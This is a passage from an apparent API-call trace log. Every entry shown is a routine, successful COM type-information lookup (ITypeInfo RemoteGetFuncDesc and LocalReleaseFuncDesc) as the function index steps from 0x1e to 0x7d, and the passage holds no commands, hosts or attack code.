index=0x1e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x20, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x21, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x22, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x23, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x24, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x25, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x26, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x27, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x28, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x29, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.673] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x30, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.673] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x31, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x32, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x33, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x34, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x35, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x36, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x37, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x38, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x39, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x40, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x41, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x42, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.674] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x43, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.674] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x44, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x45, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x46, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x47, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x48, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x49, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x50, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x51, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x52, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x53, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x54, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x55, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.675] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x56, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.675] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x57, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x58, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x59, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x60, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x61, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x62, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x63, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x64, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x65, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x66, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x67, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x68, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.676] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.676] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x69, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x70, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x71, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x72, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x73, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x74, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x75, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x76, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x77, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x78, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x79, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.677] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.677] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc 